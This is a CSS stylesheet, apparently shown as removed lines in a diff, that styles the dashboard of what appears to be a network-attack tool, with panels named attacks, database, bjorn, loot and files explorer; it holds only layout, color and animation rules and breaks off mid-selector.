-.attacks-container .attacks-sidebar>.tabs-container { - margin: 10px 10px 8px; -} - -.attacks-container .attacks-sidebar>.sidebar-page { - flex: 1; - min-height: 0; - overflow: auto; - padding: 0 10px 10px; -} - -.attacks-container .tab-btn { - flex: 1; - padding: 10px 8px; - border: none; - cursor: pointer; - font-size: 14px; - font-weight: 700; - border-radius: 10px 10px 0 0; - color: var(--_ink); - background: var(--_panel-lo); - transition: .2s; - border: 1px solid var(--_border); - border-bottom: none; -} - -.attacks-container .tab-btn:hover { - background: var(--_panel-hi); - transform: translateY(-1px); -} - -.attacks-container .tab-btn.active { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); - color: var(--_ink); - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); -} - -.attacks-container .unified-list { - list-style: none; - margin: 0; - padding: 0; -} - -.attacks-container .unified-list .card { - display: flex; - align-items: center; - gap: 12px; - padding: 10px; - margin-bottom: 6px; - cursor: pointer; - border-radius: 12px; - background: var(--_panel-lo); - transition: .2s; - border: 1px solid var(--_border); - box-shadow: none; -} - -.attacks-container .unified-list .card:hover { - background: var(--_panel-hi); - transform: translateY(-1px); - box-shadow: var(--_shadow); -} - -.attacks-container .unified-list .card.selected { - background: color-mix(in oklab, var(--_acid2) 16%, var(--_panel-hi)); - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); -} - -.attacks-container .unified-list .card img { - height: 50px; - width: 50px; - border-radius: 10px; - object-fit: cover; - background: #0b0e13; - border: 1px solid var(--_border); -} - -.attacks-container .unified-list .card span { - flex: 1; - font-weight: 700; - color: var(--_ink); -} - -.attacks-container .enable-dot { - --size: 14px; - width: var(--size); - height: var(--size); - border-radius: 999px; - border: 1px solid var(--_border); - background: var(--ko); - box-shadow: 0 0 0 0 var(--ko-glow); - transition: .18s ease; - flex: 0 0 auto; - cursor: pointer; -} - -.attacks-container .enable-dot.on { - background: var(--ok); - box-shadow: 0 0 0 4px var(--ok-glow); - border-color: color-mix(in oklab, var(--ok) 45%, var(--_border)); -} - -.attacks-container .enable-dot:focus-visible { - outline: none; - box-shadow: 0 0 0 4px color-mix(in oklab, var(--_acid2) 45%, transparent); -} - -.attacks-container .page-content { - display: none; - overflow: auto; - height: -webkit-fill-available; -} - -.attacks-container .page-content.active { - display: block; -} - -.attacks-container .editor-textarea-container { - display: flex; - flex-direction: column; - height: 100%; - gap: 12px; -} - -.attacks-container .editor-header { - display: flex; - justify-content: space-between; - align-items: center; - gap: 10px; - flex-wrap: wrap; -} - -.attacks-container .editor-buttons { - display: flex; - gap: 8px; -} - -.attacks-container .editor-textarea { - flex: 1; - min-height: 400px; - resize: vertical; - font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; - font-size: 14px; - color: var(--_ink); - background: var(--_panel-lo); - border: 1px solid var(--_border); - border-radius: 12px; - padding: 14px; - box-shadow: inset 0 0 0 1px transparent; - transition: .2s; -} - -.attacks-container .editor-textarea:focus { - outline: none; - border-color: color-mix(in oklab, var(--_acid2) 30%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); - background: var(--_panel-hi); -} - -.attacks-container .actions-bar { - display: flex; - flex-wrap: wrap; - gap: 10px; - margin-bottom: 20px; - position: sticky; - top: 0; - z-index: 10; - background: var(--_panel); - padding: 10px; - border-radius: 12px; - border: 1px solid var(--_border); - backdrop-filter: blur(10px); -} - -.attacks-container .actions-bar button, -.attacks-container .chip, -.attacks-container .select, -.attacks-container .sort-toggle { - border-radius: 10px; - border: 1px solid var(--_border); - color: var(--_ink); - background: var(--_panel-lo); - padding: 10px 12px; - cursor: pointer; - transition: .2s; - font-weight: 700; -} - -.attacks-container .actions-bar button:hover, -.attacks-container .chip:hover, -.attacks-container .select:hover, -.attacks-container .sort-toggle:hover { - background: var(--_panel-hi); - transform: translateY(-1px); -} - -.attacks-container .actions-bar button.danger { - background: color-mix(in oklab, var(--_acid) 12%, var(--_panel-lo)); -} - -.attacks-container .actions-bar button.danger:hover { - background: color-mix(in oklab, var(--_acid) 18%, var(--_panel-hi)); -} - -.attacks-container .chip { - border-radius: 999px; -} - -.attacks-container .field { - position: relative; - min-width: 190px; -} - -.attacks-container .input { - width: 100%; - padding: 10px 12px 10px 36px; - color: var(--_ink); - background: var(--_panel-lo); - border: 1px solid var(--_border); - border-radius: 10px; - outline: none; - transition: .2s; -} - -.attacks-container .input:focus { - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 14%, transparent); - background: var(--_panel-hi); -} - -.attacks-container .field .icon { - position: absolute; - left: 10px; - top: 9px; - opacity: .7; - pointer-events: none; -} - -.attacks-container .select { - appearance: none; -} - -.attacks-container .sort-toggle { - min-width: 42px; - text-align: center; -} - -.attacks-container .range-wrap { - display: flex; - align-items: center; - gap: 8px; -} - -.attacks-container .range { - accent-color: var(--_acid); -} - -.attacks-container .image-container { - display: grid; - gap: 10px; - grid-template-columns: repeat(auto-fill, minmax(var(--tile-min), 1fr)); - padding-bottom: 140px; -} - -.attacks-container .image-item { - position: relative; - border-radius: 12px; - overflow: hidden; - cursor: pointer; - aspect-ratio: 1/1; - transition: .2s; - background: var(--_panel-lo); - border: 1px solid var(--_border); -} - -.attacks-container .image-item:hover { - transform: translateY(-2px); - box-shadow: var(--_shadow); - background: var(--_panel-hi); -} - -.attacks-container .image-item img { - width: 100%; - height: 100%; - display: block; - object-fit: contain; - background: #0b0e13; - image-rendering: pixelated; -} - -.attacks-container .image-info { - position: absolute; - inset: auto 0 0 0; - padding: 6px 8px; - text-align: center; - font-size: 12px; - color: var(--_ink); - background: linear-gradient(180deg, transparent, rgba(0, 0, 0, .75)); -} - -.attacks-container .select-ring { - position: absolute; - inset: 0; - pointer-events: none; - border: 3px solid transparent; - border-radius: 12px; - transition: .2s; -} - -.attacks-container .image-item.selectable:hover .select-ring { - border-color: color-mix(in oklab, var(--_acid2) 35%, transparent); -} - -.attacks-container .image-item.selected .select-ring { - border-color: var(--_acid2); - box-shadow: inset 0 0 0 2px color-mix(in oklab, var(--_acid2) 35%, transparent); -} - -.attacks-container .tick-overlay { - position: absolute; - top: 8px; - right: 8px; - width: 26px; - height: 26px; - border-radius: 50%; - background: color-mix(in oklab, var(--_acid) 80%, white); - color: #001; - font-weight: 900; - display: none; - align-items: center; - justify-content: center; - box-shadow: var(--_shadow); -} - -.attacks-container .image-item.selected .tick-overlay { - display: flex; -} - -.attacks-container .skeleton { - border-radius: 12px; - aspect-ratio: 1/1; - background: linear-gradient(90deg, rgba(255, 255, 255, .03) 25%, rgba(255, 255, 255, .08) 37%, rgba(255, 255, 255, .03) 63%); - background-size: 400% 100%; - animation: atk-shimmer 1.1s infinite; - border: 1px solid var(--_border); -} - -@keyframes atk-shimmer { - 0% { - background-position: 100% 0; - } - - 100% { - background-position: 0 0; - } -} - -.attacks-container .edit-only { - display: none; -} - -.attacks-container .edit-mode .edit-only { - display: inline-flex; -} - -.attacks-container .status-only { - display: none; -} - -.attacks-container .static-only { - display: none; -} - -.attacks-container .status-mode .status-only { - display: inline-block; -} - -.attacks-container .static-mode .static-only { - display: inline-block; -} - -.attacks-container .web-only { - display: none; -} - -.attacks-container .icons-only { - display: none; -} - -.attacks-container .web-mode .web-only { - display: inline-block; -} - -.attacks-container .icons-mode .icons-only { - display: inline-block; -} - -.attacks-container .comments-container { - display: flex; - flex: 1 1 auto; - min-height: 0; -} - -.attacks-container .buttons-container { - display: flex; - align-items: center; - justify-content: flex-end; - gap: 8px; - margin-bottom: 10px; - flex-wrap: wrap; -} - -.attacks-container .buttons-container h2 { - margin-right: auto; -} - -.attacks-container .comments-editor { - flex: 1 1 auto; - min-width: 0; - min-height: 0; - overflow: auto; - white-space: pre; - word-wrap: normal; - background: var(--_panel-lo); - color: var(--_ink); - border: 1px solid var(--_border); - border-radius: 12px; - padding: 16px; - font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; - font-size: 14px; -} - -.attacks-container .comments-editor:focus { - outline: none; - border-color: color-mix(in oklab, var(--_acid2) 30%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 14%, transparent); - background: var(--_panel-hi); -} - -.attacks-container .comments-editor.placeholder { - color: var(--_muted); -} - -.attacks-container .comment-line { - display: block; - width: 100%; -} - -.attacks-container .comment-line:nth-child(odd) { - color: var(--_ink); -} - -.attacks-container .comment-line:nth-child(even) { - color: var(--_acid); -} - -.attacks-container .modal-action { - display: none; - position: fixed; - inset: 0; - z-index: 1000; - padding: 10px; - background: rgba(0, 0, 0, .6); - justify-content: center; - align-items: center; -} - -.attacks-container .modal-content { - position: relative; - width: 100%; - max-width: 520px; - max-height: 90vh; - overflow-y: auto; - background: var(--_panel-hi); - padding: 20px; - border-radius: 14px; - border: 1px solid var(--_border); - box-shadow: var(--_shadow); -} - -.attacks-container .modal-header h3 { - margin: 0 0 10px 0; - color: var(--_ink); -} - -.attacks-container .modal-body { - margin-bottom: 20px; -} - -.attacks-container .modal-footer { - display: flex; - justify-content: flex-end; - gap: 10px; -} - -.attacks-container .close { - position: absolute; - right: 10px; - top: 10px; - font-size: 24px; - cursor: pointer; - color: var(--_muted); -} - -.attacks-container .form-group { - margin-bottom: 15px; -} - -.attacks-container .form-group label { - display: block; - margin-bottom: 6px; - color: var(--_muted); - font-weight: 700; -} - -.attacks-container .form-group input[type="text"], -.attacks-container .form-group input[type="number"], -.attacks-container .form-group input[type="file"] { - width: 100%; - padding: 10px 12px; - color: var(--_ink); - background: var(--_panel-lo); - border: 1px solid var(--_border); - border-radius: 10px; - outline: none; - transition: .2s; -} - -.attacks-container .form-group input:focus { - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 14%, transparent); - background: var(--_panel-hi); -} - -.attacks-container .action-btn-container { - padding: 2px; - gap: 2px; - display: flex; - flex-direction: row; - flex-wrap: wrap; - align-content: center; - justify-content: center; - align-items: center; -} - -.attacks-container .hero-btn { - border-radius: 16px; - background: var(--grid), var(--grad-hero); - position: sticky; - bottom: 0; - border: 1px solid var(--c-border); - box-shadow: var(--shadow); - display: grid; - align-items: center; - justify-items: center; - text-align: center; - padding: 6px; -} - -@media (max-width:480px) { - .attacks-container .tabs-container { - gap: 2px; - } - - .attacks-container .tab-btn { - font-size: 13px; - padding: 8px 6px; - } - - .attacks-container .actions-bar { - gap: 8px; - } -} - -/* ========================================================================== - DATABASE - ========================================================================== */ -.db-container { - --db-row-hover: rgba(0, 255, 154, .06); - --db-row-selected: rgba(0, 255, 154, .12); - --db-cell-edited: rgba(24, 240, 255, .18); - --db-cell-focus: rgba(0, 255, 154, .22); - --sidebar-w: 280px; - min-height: 100%; - display: flex; - flex-direction: column; -} - -.db-container .db-header { - position: sticky; - top: 0; - z-index: 20; - background: var(--grad-topbar); - border: 1px solid var(--c-border); - border-radius: 12px; - padding: 12px; - box-shadow: var(--shadow); - margin-bottom: 12px; -} - -.db-container .sticky-actions { - position: sticky; - bottom: 0; - z-index: 15; - display: flex; - gap: 8px; - justify-content: flex-end; - padding: 8px; - background: linear-gradient(180deg, rgba(0, 0, 0, 0), rgba(0, 0, 0, .4)); - border-top: 1px solid var(--c-border); - border-radius: 12px; - backdrop-filter: blur(4px); -} - -.db-container .db-tree { - display: grid; - gap: 6px; -} - -.db-container .tree-head { - display: flex; - gap: 8px; - align-items: center; - margin-bottom: 8px; -} - -.db-container .tree-search { - display: flex; - gap: 6px; - align-items: center; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: 10px; - padding: 6px 8px; -} - -.db-container .tree-search input { - all: unset; - flex: 1; - color: var(--ink); -} - -.db-container .tree-group { - margin-top: 10px; -} - -.db-container .tree-item { - display: flex; - align-items: center; - gap: 8px; - padding: 8px 10px; - border: 1px solid var(--c-border); - border-radius: 10px; - background: var(--c-panel-2); - cursor: pointer; - transition: .18s; -} - -.db-container .tree-item:hover { - box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); - transform: translateX(2px); -} - -.db-container .tree-item.active { - background: linear-gradient(180deg, #0b151c, #091219); - outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); -} - -.db-container .tree-item .count { - margin-left: auto; - padding: 2px 8px; - border-radius: 999px; - background: var(--c-chip-bg); - border: 1px solid var(--c-border-hi); - font-size: 11px; - color: var(--muted); -} - -.db-container .db-title { - display: flex; - align-items: center; - gap: 10px; - font-weight: 700; - color: var(--acid); - letter-spacing: .08em; -} - -.db-container .db-controls { - display: flex; - flex-wrap: wrap; - gap: 8px; - margin-top: 10px; -} - -.db-container .db-search { - display: flex; - align-items: center; - gap: 8px; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: 10px; - padding: 0 10px; - min-width: 220px; - flex: 1; -} - -.db-container .db-search input { - all: unset; - color: var(--ink); - height: 34px; - flex: 1; -} - -.db-container .db-opts { - display: flex; - gap: 8px; - align-items: center; - flex-wrap: wrap; -} - -.db-container .hint { - color: var(--muted); - font-size: 12px; -} - -.db-container .sep { - width: 1px; - height: 24px; - background: var(--c-border); - margin: 0 4px; - opacity: .6; -} - -.db-container .db-wrap { - display: flex; - flex-direction: column; - gap: 12px; - min-height: 0; - flex: 1; -} - -.db-container .db-table-wrap { - position: relative; - overflow: auto; - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - box-shadow: var(--shadow); - flex: 1; - min-height: 0; -} - -.db-container table.db { - width: 100%; - border-collapse: separate; - border-spacing: 0; -} - -.db-container .db-table-wrap table.db thead th { - position: sticky; - top: 0; - z-index: 5; - background: var(--c-panel); - border-bottom: 1px solid var(--c-border-strong); - text-align: left; - padding: 10px; - font-weight: 700; - color: var(--acid); - user-select: none; - -webkit-user-select: none; - cursor: pointer; - white-space: nowrap; -} - -.db-container .db tbody td { - padding: 8px 10px; - border-bottom: 1px dashed var(--c-border-muted); - vertical-align: middle; - background: var(--grad-card); -} - -.db-container .db tbody tr:hover { - background: var(--db-row-hover); -} - -.db-container .db tbody tr.selected { - background: var(--db-row-selected); - outline: 1px solid var(--c-border-hi); -} - -.db-container .cell { - display: block; - min-width: 80px; - max-width: 520px; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.db-container .cell[contenteditable="true"] { - outline: 0; - border-radius: 6px; - transition: .12s; - padding: 2px 6px; -} - -.db-container .cell[contenteditable="true"]:focus { - background: var(--db-cell-focus); - box-shadow: 0 0 0 1px var(--c-border-hi) inset; -} - -.db-container .cell.edited { - background: var(--db-cell-edited); -} - -.db-container .pk { - color: var(--muted); - font-size: 12px; -} - -.db-container .cols-drawer { - display: none; -} - -.db-container .cols-drawer.open { - display: block; -} - -.db-container .db-page { - display: grid; - grid-template-columns: 1fr; -} - -.db-container .sticky-col-cell { - position: sticky; - z-index: 3; - background: var(--grad-card); - box-shadow: 1px 0 0 0 var(--c-border-strong), -1px 0 0 0 var(--c-border); -} - -.db-container .sticky-col-head { - position: sticky; - z-index: 3; - background: var(--grad-card); - box-shadow: 1px 0 0 0 var(--c-border-strong), -1px 0 0 0 var(--c-border); -} - -.db-container .sticky-check, -.db-container .sticky-col-head.sticky-check { - z-index: 4; -} - -.db-container th.is-sticky .sticky-dot::after { - content: "\25CF"; - margin-left: 6px; - font-size: 10px; - color: var(--acid); - opacity: .9; -} - -@keyframes db-blinkChange { - from { - box-shadow: 0 0 0 0 var(--acid-22); - } - - to { - box-shadow: 0 0 0 6px transparent; - } -} - -.db-container .value-changed { - animation: db-blinkChange .66s ease; -} - -@media (max-width:1100px) { - .db-container .db-controls { - gap: 6px; - } - - .db-container .db-search { - min-width: 160px; - } - - .db-container .cell { - max-width: 60vw; - } -} - -/* ========================================================================== - BJORN - ========================================================================== */ -.bjorn-container .image-container { - display: flex; - justify-content: center; - align-items: center; - height: calc(100vh - 70px); -} - -.bjorn-container .image-container img { - max-height: 100%; - max-width: 100%; - height: -webkit-fill-available; - cursor: pointer; - transition: transform 0.2s ease-in-out; -} - -.bjorn-container .image-container img:active { - transform: scale(1.05); -} - -.bjorn-container .image-container.fullscreen img { - height: 100vh; - width: auto; -} - -@media (max-width:768px) { - .bjorn-container .image-container { - height: calc(100vh - 60px); - } -} - -/* ========================================================================== - LOOT - ========================================================================== */ -.loot-container { - position: relative; - z-index: 2; - padding: 16px; - margin-top: 5px; - min-height: calc(100vh - 60px); - display: flex; - flex-direction: column; - gap: 16px; - animation: loot-fadeInUp .6s ease-out; -} - -@keyframes loot-fadeInUp { - from { - opacity: 0; - transform: translateY(30px); - } - - to { - opacity: 1; - transform: translateY(0); - } -} - -.loot-container .stats-bar { - display: flex; - gap: 12px; - flex-wrap: wrap; - padding: 12px; - background: color-mix(in oklab, var(--_panel) 88%, transparent); - border: 1px solid var(--_border); - border-radius: 12px; - box-shadow: var(--_shadow); - backdrop-filter: blur(16px); -} - -.loot-container .stat-item { - display: flex; - align-items: center; - gap: 8px; - padding: 8px 16px; - background: color-mix(in oklab, var(--_panel) 65%, transparent); - border: 1px solid var(--_border); - border-radius: 10px; - transition: .2s; -} - -.loot-container .stat-item:hover { - background: color-mix(in oklab, var(--_panel) 78%, transparent); - transform: translateY(-2px); -} - -.loot-container .stat-icon { - font-size: 1.2rem; - opacity: .95; -} - -.loot-container .stat-value { - font-size: 1.05rem; - font-weight: 800; - background: linear-gradient(135deg, var(--_acid), var(--_acid2)); - -webkit-background-clip: text; - background-clip: text; - -webkit-text-fill-color: transparent; -} - -.loot-container .stat-label { - color: var(--_muted); - font-size: .75rem; - margin-left: 4px; -} - -.loot-container .controls-bar { - display: flex; - gap: 12px; - align-items: center; - flex-wrap: wrap; -} - -.loot-container .search-container { - flex: 1; - min-width: 200px; - position: relative; -} - -.loot-container .search-input { - width: 100%; - padding: 12px 16px 12px 44px; - background: color-mix(in oklab, var(--_panel) 90%, transparent); - border: 1px solid var(--_border); - border-radius: 12px; - color: var(--_ink); - font-size: .95rem; - backdrop-filter: blur(10px); - transition: .2s; -} - -.loot-container .search-input:focus { - outline: none; - border-color: color-mix(in oklab, var(--_acid2) 40%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); - background: color-mix(in oklab, var(--_panel) 96%, transparent); -} - -.loot-container .search-icon { - position: absolute; - left: 16px; - top: 50%; - transform: translateY(-50%); - color: var(--_muted); - pointer-events: none; -} - -.loot-container .clear-search { - position: absolute; - right: 12px; - top: 50%; - transform: translateY(-50%); - color: var(--_muted); - cursor: pointer; - font-size: 1rem; - display: none; -} - -.loot-container .search-input:not(:placeholder-shown)~.clear-search { - display: block; -} - -.loot-container .view-controls { - display: flex; - gap: 8px; - align-items: center; -} - -.loot-container .view-btn, -.loot-container .sort-btn { - padding: 10px; - background: color-mix(in oklab, var(--_panel) 90%, transparent); - border: 1px solid var(--_border); - border-radius: 10px; - color: var(--_muted); - cursor: pointer; - transition: .2s; - backdrop-filter: blur(10px); - font-size: 1.1rem; -} - -.loot-container .view-btn:hover, -.loot-container .sort-btn:hover { - background: color-mix(in oklab, var(--_panel) 96%, transparent); - color: var(--_ink); - transform: translateY(-2px); -} - -.loot-container .view-btn.active { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 20%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); - color: var(--_ink); - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); -} - -.loot-container .sort-dropdown { - position: relative; -} - -.loot-container .sort-menu { - position: absolute; - top: calc(100% + 8px); - right: 0; - background: color-mix(in oklab, var(--_panel) 98%, transparent); - border: 1px solid var(--_border); - border-radius: 12px; - padding: 8px; - min-width: 150px; - backdrop-filter: blur(20px); - box-shadow: var(--_shadow); - opacity: 0; - pointer-events: none; - transform: translateY(-10px); - transition: .2s; - z-index: 10; -} - -.loot-container .sort-dropdown.active .sort-menu { - opacity: 1; - pointer-events: auto; - transform: translateY(0); -} - -.loot-container .sort-option { - padding: 10px 12px; - border-radius: 8px; - cursor: pointer; - transition: .2s; - font-size: .9rem; - color: var(--_ink); -} - -.loot-container .sort-option:hover { - background: rgba(255, 255, 255, .05); -} - -.loot-container .sort-option.active { - color: var(--_ink); - background: color-mix(in oklab, var(--_acid2) 14%, transparent); -} - -.loot-container .tabs-container { - display: flex; - gap: 8px; - padding: 4px; - background: color-mix(in oklab, var(--_panel) 88%, transparent); - border-radius: 12px; - border: 1px solid var(--_border); - backdrop-filter: blur(10px); - overflow-x: auto; - scrollbar-width: none; -} - -.loot-container .tabs-container::-webkit-scrollbar { - display: none; -} - -.loot-container .tab { - padding: 10px 20px; - border-radius: 8px; - cursor: pointer; - transition: .2s; - white-space: nowrap; - font-size: .9rem; - font-weight: 700; - position: relative; - color: var(--_muted); - border: 1px solid transparent; -} - -.loot-container .tab:hover { - background: rgba(255, 255, 255, .05); - color: var(--_ink); -} - -.loot-container .tab.active { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 16%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); - color: var(--_ink); - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); -} - -.loot-container .tab.active::after { - content: ''; - position: absolute; - bottom: 0; - left: 10%; - right: 10%; - height: 2px; - background: linear-gradient(90deg, var(--_acid), var(--_acid2)); - border-radius: 2px; -} - -.loot-container .tab-badge { - display: inline-block; - padding: 2px 6px; - margin-left: 6px; - background: rgba(255, 255, 255, .08); - border: 1px solid var(--_border); - border-radius: 10px; - font-size: .75rem; - font-weight: 700; - color: var(--_ink); -} - -.loot-container .explorer { - background: color-mix(in oklab, var(--_panel) 88%, transparent); - border-radius: 20px; - border: 1px solid var(--_border); - backdrop-filter: blur(20px); - box-shadow: var(--_shadow); - overflow: hidden; - flex: 1; - display: flex; - flex-direction: column; - animation: loot-slideIn .6s ease-out; -} - -@keyframes loot-slideIn { - from { - opacity: 0; - transform: translateX(-16px); - } - - to { - opacity: 1; - transform: translateX(0); - } -} - -.loot-container .explorer-content { - padding: 20px; - overflow-y: auto; - flex: 1; - max-height: calc(100vh - 280px); -} - -.loot-container .tree-view { - display: none; -} - -.loot-container .tree-view.active { - display: block; -} - -.loot-container .list-view { - display: none; -} - -.loot-container .list-view.active { - display: grid; - gap: 8px; -} - -.loot-container .tree-item { - margin-bottom: 4px; - animation: loot-itemSlide .3s ease-out backwards; -} - -@keyframes loot-itemSlide { - from { - opacity: 0; - transform: translateX(-10px); - } - - to { - opacity: 1; - transform: translateX(0); - } -} - -.loot-container .tree-header { - display: flex; - align-items: center; - padding: 12px; - cursor: pointer; - border-radius: 10px; - transition: .2s; - position: relative; - overflow: hidden; -} - -.loot-container .tree-header::before { - content: ''; - position: absolute; - inset: 0; - background: linear-gradient(90deg, transparent, rgba(255, 255, 255, .05), transparent); - transform: translateX(-100%); - transition: transform .6s; -} - -.loot-container .tree-header:hover::before { - transform: translateX(100%); -} - -.loot-container .tree-header:hover { - background: rgba(255, 255, 255, .04); -} - -.loot-container .tree-icon { - width: 32px; - height: 32px; - display: flex; - align-items: center; - justify-content: center; - border-radius: 8px; - margin-right: 12px; - font-size: 1.1rem; - flex-shrink: 0; - background: color-mix(in oklab, var(--_acid) 12%, transparent); - color: var(--_ink); -} - -.loot-container .folder-icon { - background: color-mix(in oklab, var(--_acid) 10%, transparent); - color: var(--_ink); -} - -.loot-container .tree-name { - flex: 1; - font-weight: 600; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.loot-container .tree-chevron { - width: 20px; - height: 20px; - display: flex; - align-items: center; - justify-content: center; - color: var(--_muted); - transition: transform .3s cubic-bezier(.4, 0, .2, 1); - margin-left: 8px; -} - -.loot-container .tree-item.expanded .tree-chevron { - transform: rotate(90deg); -} - -.loot-container .tree-children { - max-height: 0; - overflow: hidden; - transition: max-height .3s cubic-bezier(.4, 0, .2, 1); - margin-left: 20px; - padding-left: 20px; - border-left: 1px solid var(--_border); -} - -.loot-container .tree-item.expanded .tree-children { - max-height: 5000px; -} - -.loot-container .file-item { - display: flex; - align-items: center; - padding: 10px 12px; - border-radius: 10px; - cursor: pointer; - transition: .2s; - margin-bottom: 4px; -} - -.loot-container .file-item:hover { - background: rgba(255, 255, 255, .04); - transform: translateX(4px); -} - -.loot-container .file-item:active { - transform: translateX(2px) scale(.98); -} - -.loot-container .file-icon { - width: 28px; - height: 28px; - display: flex; - align-items: center; - justify-content: center; - border-radius: 6px; - margin-right: 12px; - font-size: .9rem; - flex-shrink: 0; - color: var(--_ink); - background: color-mix(in oklab, var(--_panel) 75%, transparent); -} - -.loot-container .file-icon.ssh { - background: color-mix(in oklab, var(--_acid) 12%, transparent); -} - -.loot-container .file-icon.sql { - background: color-mix(in oklab, var(--_acid2) 12%, transparent); -} - -.loot-container .file-icon.smb { - background: color-mix(in oklab, var(--_acid2) 16%, transparent); -} - -.loot-container .file-icon.other { - background: color-mix(in oklab, var(--_panel) 75%, transparent); -} - -.loot-container .file-name { - flex: 1; - font-size: .9rem; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; - color: var(--_ink); -} - -.loot-container .file-type { - padding: 3px 8px; - border-radius: 6px; - font-size: .7rem; - font-weight: 800; - text-transform: uppercase; - letter-spacing: .05em; - margin-left: 8px; - border: 1px solid var(--_border); - color: var(--_ink); - background: color-mix(in oklab, var(--_panel) 80%, transparent); -} - -.loot-container .file-type.ssh { - background: color-mix(in oklab, var(--_acid) 12%, transparent); -} - -.loot-container .file-type.sql { - background: color-mix(in oklab, var(--_acid2) 12%, transparent); -} - -.loot-container .file-type.smb { - background: color-mix(in oklab, var(--_acid2) 16%, transparent); -} - -.loot-container .no-results { - text-align: center; - color: var(--_muted); - padding: 40px; - font-size: .95rem; -} - -.loot-container .no-results-icon { - font-size: 3rem; - margin-bottom: 16px; - opacity: .5; -} - -.loot-container .loading { - display: flex; - justify-content: center; - align-items: center; - height: 200px; -} - -.loot-container .loading-spinner { - width: 40px; - height: 40px; - border: 3px solid var(--_border); - border-top-color: var(--_acid2); - border-radius: 50%; - animation: loot-spin 1s linear infinite; -} - -@keyframes loot-spin { - to { - transform: rotate(360deg); - } -} - -@media (max-width:768px) { - .loot-container { - padding: 12px; - gap: 12px; - } - - .loot-container .controls-bar { - flex-direction: column; - align-items: stretch; - } - - .loot-container .search-container { - width: 100%; - } - - .loot-container .view-controls { - justify-content: center; - } - - .loot-container .tabs-container { - padding: 2px; - } - - .loot-container .tab { - padding: 8px 14px; - font-size: .85rem; - } - - .loot-container .explorer-content { - padding: 12px; - max-height: calc(100vh - 320px); - } - - .loot-container .tree-children { - margin-left: 12px; - padding-left: 12px; - } - - .loot-container .stat-item { - padding: 6px 10px; - } - - .loot-container .stat-value { - font-size: .95rem; - } -} - -@media (hover:none) { - .loot-container .tree-header:active { - background: rgba(255, 255, 255, .06); - } -} - -/* ========================================================================== - FILES EXPLORER - ========================================================================== */ -.files-container .loot-container { - display: flex; - flex-direction: column; - height: calc(100vh - 120px); - padding: 12px; - gap: 12px; -} - -.files-container .file-explorer { - flex: 1; - display: flex; - flex-direction: column; - overflow: hidden; - padding: 10px; - color: var(--_ink); - background: color-mix(in oklab, var(--_panel) 92%, transparent); - border: 1px solid var(--_border); - border-radius: 14px; - backdrop-filter: blur(18px); - box-shadow: var(--_shadow); -} - -.files-container .files-grid { - overflow-y: auto; - display: grid; - grid-template-columns: repeat(auto-fill, minmax(110px, 1fr)); - gap: 8px; - padding: 8px; - border-radius: 8px; -} - -.files-container .files-list { - overflow-y: auto; - padding: 4px; -} - -.files-container .upload-container { - padding: 10px; - margin-bottom: 10px; - display: flex; - justify-content: center; - align-items: center; -} - -.files-container .drop-zone { - width: 100%; - max-width: 800px; - padding: 16px; - border: 2px dashed var(--_border); - border-radius: 12px; - text-align: center; - font-size: 14px; - color: var(--_muted); - cursor: pointer; - transition: .25s ease; - background: color-mix(in oklab, var(--_panel) 88%, transparent); - backdrop-filter: blur(8px); -} - -.files-container .drop-zone:hover { - background: color-mix(in oklab, var(--_panel) 96%, transparent); -} - -.files-container .drop-zone.dragover { - border-color: color-mix(in oklab, var(--_acid) 50%, var(--_border)); - background: color-mix(in oklab, var(--_acid) 12%, var(--_panel)); - color: var(--_ink); -} - -.files-container .grid-item, -.files-container .list-item { - border-radius: 10px; - padding: 8px; - cursor: pointer; - transition: .15s ease; - display: flex; - align-items: center; - position: relative; - border: 1px solid transparent; - background: color-mix(in oklab, var(--_panel) 86%, transparent); -} - -.files-container .grid-item { - flex-direction: column; - text-align: center; -} - -.files-container .list-item { - flex-direction: row; - gap: 12px; -} - -.files-container .grid-item:hover, -.files-container .list-item:hover { - transform: translateY(-2px); - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); - box-shadow: 0 4px 14px rgba(0, 0, 0, .25); - background: color-mix(in oklab, var(--_panel) 96%, transparent); -} - -.files-container .grid-item img, -.files-container .list-item img { - width: 28px; - height: 28px; - margin-bottom: 4px; -} - -.files-container .list-item img { - margin-bottom: 0; -} - -.files-container .item-name { - color: var(--_ink); - font-size: 14px; - line-height: 1.3; - word-break: break-word; - pointer-events: none; -} - -.files-container .folder .item-name { - color: var(--_ink); - font-weight: 700; -} - -.files-container .item-meta { - font-size: 11px; - color: var(--_muted); - margin-top: 4px; - pointer-events: none; -} - -.files-container .multi-select-mode { - background: color-mix(in oklab, var(--_acid) 6%, transparent); -} - -.files-container .item-selected { - background: color-mix(in oklab, var(--_acid) 18%, var(--_panel)) !important; - border: 2px solid color-mix(in oklab, var(--_acid) 55%, var(--_border)) !important; -} - -.files-container 